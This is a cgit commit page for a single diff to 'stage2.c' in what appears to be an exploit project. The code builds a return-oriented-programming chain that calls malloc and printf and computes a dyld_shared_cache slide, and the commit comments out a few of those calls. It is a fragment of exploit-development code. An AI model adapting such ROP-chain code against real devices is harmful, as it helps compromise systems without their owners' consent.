summaryrefslogtreecommitdiff
path: root/src/gen
diff options
context:
space:
mode:
authorspv420 <spv@spv.sh>2022-07-31 00:52:32 -0400
committerspv420 <spv@spv.sh>2022-07-31 00:52:32 -0400
commitff25122977689598faf9c8782b9e286040cce819 (patch)
treeca1ac70ee2394035fb38bcdd50e7c8a68e89c942 /src/gen
parentaa680a3db6983197bee977ca02b4d29499ccbd8f (diff)
yahtzee
Diffstat (limited to 'src/gen')
-rw-r--r--src/gen/stage2.c7
1 files changed, 4 insertions, 3 deletions
diff --git a/src/gen/stage2.c b/src/gen/stage2.c
index 63dccc1..1b18d16 100644
--- a/src/gen/stage2.c
+++ b/src/gen/stage2.c
@@ -281,13 +281,14 @@ rop_chain_shit gen_rop_chain(uint32_t base,
// CALL_4_ARG_L2_0(base + 0x9ad8c, LOG_SYSLOG, base + we_out_here_addr);
- /* allocate memory for file read later */
+/*
+ /* allocate memory for file read later *\/
CALL_1ARG(base + malloc_addr, 0x100000);
STR_R0(base + reserve_addr);
MOV_R1_R0();
- /* output malloc string */
- CALL_1ARG(base + printf_addr, base + malloc_status_addr);
+ /* output malloc string *\/
+ CALL_1ARG(base + printf_addr, base + malloc_status_addr);*/
/* calculate dyld_shared_cache slide */
MOV_R0(0 - (0x20000000 + scprefcreate_dsc_offset));